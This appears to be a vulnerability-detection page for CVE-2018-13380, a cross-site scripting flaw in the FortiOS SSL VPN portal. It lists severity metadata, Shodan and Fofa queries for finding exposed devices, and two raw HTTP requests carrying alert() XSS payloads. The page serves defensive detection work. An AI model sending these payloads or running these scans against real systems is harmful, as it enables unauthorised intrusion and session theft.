🔙 목록으로 돌아가기

CVE-2018-13380: Fortinet FortiOS - Cross-Site Scripting

TitleFortinet FortiOS - Cross-Site Scripting
Authorshelld3v,AaronChen0
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationApply the latest security patches or updates provided by Fortinet to fix this vulnerability.
CVSS Score6.1
EPSS Score0.34498
CVE IDCVE-2018-13380
CWE IDCWE-79
Shodan Queryhttp.html:"/remote/login" "xxxxxxxx"http.favicon.hash:945408572cpe:"cpe:2.3:o:fortinet:fortios"port:10443 http.favicon.hash:945408572
Fofa Querybody="/remote/login" "xxxxxxxx"icon_hash=945408572
Tags cve cve2018 fortios xss fortinet vuln

🔍 Vulnerability Description

Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal are vulnerable to cross-site scripting and allows attacker to execute unauthorized malicious script code via the error or message handling parameters.

🌐 HTTP Request

GET /message?title=x&msg=%26%23%3Csvg/onload=alert(1337)%3E%3B HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1337)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-13380.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-13380.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A